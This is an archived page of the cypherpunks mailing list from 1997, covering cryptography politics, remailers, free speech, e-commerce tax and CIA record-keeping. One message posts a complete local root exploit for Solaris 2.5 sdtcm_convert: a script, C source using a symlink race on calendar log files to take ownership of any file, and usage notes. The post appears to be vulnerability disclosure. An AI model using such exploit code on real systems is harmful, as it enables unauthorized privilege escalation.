December 2003 - cypherpunks-legacy

Dark Times Ahead
by Pan D.Modium 17 Dec '03

17 Dec '03

Predictions for the Year 1. Encryption without "Key Escrow" will be outlawed. The remailer network will be shutdown following highly public raids that result in equipment seizures and prosecution of the remailer operators using RICO statutes after agents provocateur post terrorist threats to the Internet. 2. Tobacco companies will cave in to the states on liability for medical costs and declare bankruptcy. The few remaining small companies not party to the suits will see themselves targeted after prices on a pack of cigarettes rises to 1000% of the current price. Two years from now, cigarettes will be almost impossible to get and result in smuggling on a scale that dwarfs cocaine and marijuana trafficing. 3. The NSA's prohibition on domestic surveillance will be lifted following allegations of massive money laundering via the Internet and rumors that major American banks have been raided via the net by Russian mafia. 4. The IRS will go to court to force the National Rifle Association to turn over its membership lists as the agency audits the books of the non-profit organization. After obtaining the lists, the IRS will target the members for special auditing programs. 5. The FBI will direct the implementation of the Digital Telephony Act after Congress finally caves in and provides the funding. A new protocol for wiretapping will be implemented as provided for in the Act that does not allow for judicial review. 6. The Supreme Court will surprise everyone by upholding the Communications Decency Act in a 5-4 decision. The FBI will stage widely publicized raids on the most visible adult web sites. Pan D. Modium pandemodium(a)nym.alias.net "May you live in interesting times." -- ancient Chinese curse

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Low-Risk Remailer Proposal
by Sergey Goldgaber 17 Dec '03

17 Dec '03

-----BEGIN PGP SIGNED MESSAGE----- I would like to propose that persons wishing to run remailers but concerned about possible political reprecussions institute a policy of remailing only to other remailers. This would increase the total number of remailers, and decrease the chances that all or most of the available remailers are compromised. ............................................................................ . Sergey Goldgaber <sergey(a)el.net> System Administrator el Net . ............................................................................ . The path of least resistance leads to mediocrity. . ............................................................................ -----BEGIN PGP SIGNATURE----- Version: 2.6.2 Comment: http://www.efh.org/pgp/pgpwork.html explains this signature. iQCVAwUBMw+7PMgbnd/MibbZAQFbOQQAo95fuNed1BF8wyDd0cut1yNrksg+kX3S uW8YbnLHPZI4lctrSxs99L75Y1yxK3Q2+jijeWevnf9qfzIAItAEzxbANIFdoiZo yYhoz/DdUvLepDPZc1t4owuNFcVs6EEBg++FrUxPsShp2SUGEOJ4yRO4p9lkTVkM 5mUBCGtJngo= =UlcG -----END PGP SIGNATURE-----

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Re: Dark Times Ahead
by mpd＠netcom.com 17 Dec '03

17 Dec '03

Timothy C. May writes: > Oh? And will the First Amendment then be repealed? > "Congress shall make no law respecting the establishment of speech or > prohibiting the free exercise thereof" seems rather clear: Congress cannot > insist that a particular form of speech be used to the exclusion of others. > A ban on coding messages, speaking in languages unintelligible to > wiretappers, etc., would quite clearly be thrown out on First Amendment > grounds, from everything I know of the Supreme Court and its reasoning. The Supremes can bypass the First Ammendment anytime they choose by simply mumbling something about "society's overwhelming interest in protecting itself." Indeed, the plethora of regulation against various forms of "bad" speech concerning children and their sexuality is the clearest example of this, with the Knox "clothed child porn" decision, and the recent Hatch nonsense making any suggestion of underage sexual activity illegal, regardless of whether underaged models were involved in its production. I expect textual material will be outlawed in a few years as well, as a "loophole" in the current laws, since real children no longer have to be associated with such material in order for it to be deemed harmful. Once that happens, a whole bunch of other things will probably be outlawed shortly thereafter, the criteria being that they are certainly as dangerous as an illicit copy of "Aunt Sue and the Horny Paperboy." Expect bombmaking instructions, anti-government tracts, cryptography, and most Loompanics books to be included here. > And so on. Banning unescrowed cryptography would result in the Mother of > all Constitutional challenges, and would, I am sure, result in such a ban > being declared unconstitutional. If throwing Alice in jail because she used > a form of speech unacceptable to the rulers is not a violation of the > First, nothing is. The frog is nearly boiled. If the Mother of all Constitutional Challenges hasn't happened by now, it isn't going to. This is a country that throws grad students in prison for possessing films of young girls doing gymnastics. What makes you think unescrowed cryptography has some special hallowed status? The First Ammendment is useless, as there are clear counterexamples to unlimited free speech. That makes it a matter of interpretation, and the courts will interpret it according to the existing level of public hysteria. The Fourth Ammendment only guarantees us "due process." We do not, as some countries do, have a strong privacy provision written into our Constitution. I have always held that a well-written privacy provision keeping the government out of peoples homes and personal possessions is worth ten First Ammendments. -- Mike Duvos $ PGP 2.6 Public Key available $ mpd(a)netcom.com $ via Finger. $

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Exploit for sdtcm_convert - Solaris 2.5 - second
by Cristian SCHIPOR 17 Dec '03

17 Dec '03

Sun Feb 23 10:36:58 EET 1997 Romania "Exploit for sdtcm_convert - Solaris 2.5" I send you an e-mail about a bug and an exploit for sdtcm_convert. (sdtcm_convert allows you to become owner of any file or directory from the system - and gain root access ) First, there was some problems with my uuencoded exploit (some damaged it on the route...) so i'll resend you the files for exploit. Second, Casper Dick send me: >Is this the bug fixed in the Sun patches: >103670-02: CDE 1.0.2: sdtcm_convert has a security vulnerability >103671-02: CDE 1.0.1: sdtcm_convert has a security vulnerability >103717-02: CDE 1.0.2: sdtcm_convert has a security vulnerability (x86 version) >103718-02: CDE 1.0.1: sdtcm_convert has a security vulnerability (x86 version) >or is it a new one? >Casper I cant found this patches to verify if that fix the problem i have found or not. Anyway you have an exploit ! (execute 'thefist' and wait) Cristian Schipor - Computer Science Faculty - Bucharest - Romania Email: skipo(a)math.pub.ro skipo(a)sundy.cs.pub.ro skipo(a)ns.ima.ro Phone: (401) 410.60.88 ------------------------- file thefirst ------------------------------------ /bin/echo "orange.c -> orange" gcc -o orange orange.c /usr/ucb/whoami > wh read USER < ./wh #watching for callog file if it isnt will stop if ! test -f /var/spool/calendar/callog.$USER; then /bin/echo "I cant found callog file. Please read README and create it" exit; fi /bin/echo "what's the target ???" read TARGET /bin/echo /bin/chmod 000 /var/spool/calendar/callog.$USER >lemon /bin/echo /usr/dt/bin/sdtcm_convert $USER >>lemon /bin/chmod 700 ./lemon ./orange $TARGET $USER ------------------------- end -------------------------- ------------------------ file orange.c --------------------------- #include <stdio.h> #include <sys/types.h> #include <sys/stat.h> #include <unistd.h> #define path "/var/spool/calendar/callog." void main(int argc, char *argv[]) { int pid,filedes[2]; FILE *f; struct stat info; long i; char target[128],shift[128]; strcpy(target,argv[1]); strcpy(shift,path); strcat(shift,argv[2]); if(pipe(filedes)) { perror("cant crate pipe\n"); exit(0); } if(pid=fork()==0) { for(i=0;i<30000000;i++); unlink(shift); symlink(target,shift); write(filedes[1],"y\n",sizeof("y\n")); } else { close(0); dup(filedes[0]); system("lemon"); stat(target,&info); if(info.st_uid==getuid()) printf("COLL I did IT !!!\n"); } } ------------------------ end ---------------------------- ------------------------ file README ---------------------- *How to make a simple callog file* If you dont have a /var/spool/calendar/callog.YOU edit callog.example, replace 'skipo' with your user name and 'sundy.cs.pub.ro' with your machine name (try first the short name, example: sundy and if you'll have troubleshotings try the long name, example sundy.cs.pub.ro). After that copy the new callog file in /var/spool/calendar/callog.YOUR_USER_NAME, run once sdtcm_convert with your user name (example sdtcm_convert skipo) and wait for corrections. Now you are ready to run the exploit. Another way is to run calendar tool from CDE. ------------------------- end ------------------------------- ------------------------ file callog.example ------------------------ Version: 4 **** start of log on Fri Dec 6 14:07:43 1996 **** (calendarattributes ("-//XAPIA/CSA/CALATTR//NONSGML Access List//EN","10:access_list","world:2") ("-//XAPIA/CSA/CALATTR//NONSGML Calendar Name//EN","5:string","skipo(a)sundy.cs.pub.ro") ("-//XAPIA/CSA/CALATTR//NONSGML Calendar Owner//EN","6:user","skipo(a)sundy.cs.pub.ro") ("-//XAPIA/CSA/CALATTR//NONSGML Character Set//EN","5:string","C.ISO-8859-1") ("-//XAPIA/CSA/CALATTR//NONSGML Date Created//EN","7:date_time","19961206T120743Z") ("-//XAPIA/CSA/CALATTR//NONSGML Product Identifier//EN","5:string","-//DT//NONSGML Calendar Product Version 1//EN") ("-//XAPIA/CSA/CALATTR//NONSGML Version//EN","5:string","-//XAPIA/CSA/VERSION1/NONSGML CSA Version 1//EN") ) -------------------------- end --------------------------------

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Re: MULTI-JURISDICTIONAL TAXATION OF ELECTRONIC COMMERCE
by Sean Roach 17 Dec '03

17 Dec '03

At 03:16 PM 2/21/97 -0500, Robert Hettinga wrote: >--- begin forwarded text ... >This symposium will consider a wide range of issues, including: > >**Differences in determining the electronic commerce income >tax base. Should source or residence rules be used, or should >some form of formulary apportionment be applied? > >**Problems in imposing retail sales taxes on electronic sales. >Should traditional nexus rules apply? > >**Problems in determining the value added by electronic >commercial inputs. Should a tax be determined based on the >'bits' of information? If so, should each 'bit' be valued the >same? > >**Problems involving the harmonization of tax rules. >International and sub-national aspects of this problem will be >considered. OECD efforts in this area will be contrasted with >proposed uniform state legislation in the US. > >**Throughout the symposium the impact that these tax decisions >will have on cross-border investment decisions will be a primary >concern. ... "Toll" tax. If each packet were "taxed" as it entered a system, and due to the nature of the internet, when traffic increases in certain areas, prices would go up, driving activity back down, then each area could "tax" what it wanted. The only real problem would be how to get people to pay. Unlike the toll booth at the entrance to a turnpike, internet users don't keep exact change. There is no window to roll down to hand the attendant the money, there is no accepted currency to hand the attendant either. Taxation can't really begin until e-cash equipped browsers are common. Plus, executables are fairly large, while text files tend to be small, adding a bias against executables, images, and audio files. In addition, since the packets have to originate from somewhere, the location of the poster would get to tax at least. Of course, if such a system were not mandatory in a region, then "freenets" would get a whole new meaning.

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CIA Lie
by John Young 17 Dec '03

17 Dec '03

The Washington Post, February 20, 1997, p. A22: Domestic CIA Snooping The CIA's assertion on its Web page that the agency does not keep files on Americans is not in fact true ["In the Loop," Federal Page, Feb. 12]. The agency opened a file on my client, Daniel Tsang, a political activist and librarian at the University of California at Irvine, in the 1980s and recorded his constitutionally protected activities. When we sued the agency, we discovered that no agency directives prohibit the maintenance of such files and the CIA lawyers made the extraordinary claim that it is legal for the agency to keep files on Americans, including on citizens' First Amendment activities. The CIA claimed that it is exempt from Privacy Act restrictions on such practices. While the CIA eventually agreed to expunge Mr. Tsang's file and promised to refrain from opening such files on him in the future, it refused to acknowledge any limitation on its authority to keep files on other Americans. It should do so now. Kate Martin Washington The writer is director of the Center for National Security Studies, a project of the Fund for Peace. -----

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Re: Dark Times Ahead
by jim bell 17 Dec '03

17 Dec '03

At 11:38 PM 2/22/97 -0800, Mike Duvos wrote: >Timothy C. May writes: > >> Oh? And will the First Amendment then be repealed? > >> "Congress shall make no law respecting the establishment of speech or >> prohibiting the free exercise thereof" seems rather clear: Congress cannot >> insist that a particular form of speech be used to the exclusion of others. > >> A ban on coding messages, speaking in languages unintelligible to >> wiretappers, etc., would quite clearly be thrown out on First Amendment >> grounds, from everything I know of the Supreme Court and its reasoning. > >The Supremes can bypass the First Ammendment anytime they choose by simply >mumbling something about "society's overwhelming interest in protecting >itself." I'd sure like to know how they figure out what "society" really wants to do! In April of 1993, which the original Clipper chip/system was proposed, not all that many people had even heard of the Internet, and far fewer were aware of the details of encryption. Surely they didn't mean to suggest that "society" was in favor of Clipper? Blissfully ignorant, perhaps, but not in favor! (B^) Obviously, with their "If you only knew what we know" they'll claim that the public would have favored Clipper if it knew the real problems, but the way I see it, if they REALLY believed that there was a serious threat to anything other than merely their jobs, they would have done a better job convincing the public. Jim Bell jimbell(a)pacifier.com

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Re: An Overweening Faith in the Supreme Court
by dlv＠bwalk.dm.com 17 Dec '03

17 Dec '03

"Pan D.Modium" <pandemodium(a)nym.alias.net> writes: > In short, America has been sliding down the path to fascism at an > amazing pitch since the early 80's. Not once in history has a country > gone this far down the path to tyranny and turned back. America will > not be the first. Dunno about turning back but the U.S. does resemble in many ways Argentina in the '40's and '50's. (It resembles the U.S.S.R in the '70's in yet other ways. :-) So, can you think of a good country to move to, besides Israel? :-) --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps

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Re: Dark Times Ahead - sort of off-topic
by dlv＠bwalk.dm.com 17 Dec '03

17 Dec '03

Toto <toto(a)sk.sympatico.ca> writes: > Martin Minow wrote: > > Some state prisons (Utah? Minnesota?) are smoke-free. Cigarettes are > > a choice smuggling item. > > > I vaguely recall a price of $200 per > > cigarette (but note that, in a prison economy, the "dollar" is > > only loosely connected to reality. > > If it's been a while since you were released, then the prices > have probably changed. Ask Randall Schwartz (spit). --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps

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Re: CIA Lie
by jim bell 17 Dec '03

17 Dec '03

At 03:18 PM 2/23/97 -0800, Greg Broiles wrote: >I received a reply to my FOIA request re cpunks to the CIA; it indicates >that they "doubt" that they have any records responsive to my request, and >think I'd be better served by writing to the FCC. (?!) It's at ><http://www.io.com/~gbroiles/cp-foia/cia-1.html>. I'm going to write back >and ask them to actually comply with FOIA, e.g., look through their files, >instead of just guessing that there probably isn't anything in there. You could have said to them, "If you can't find anything, maybe you could make something up, okay?" Jim Bell jimbell(a)pacifier.com

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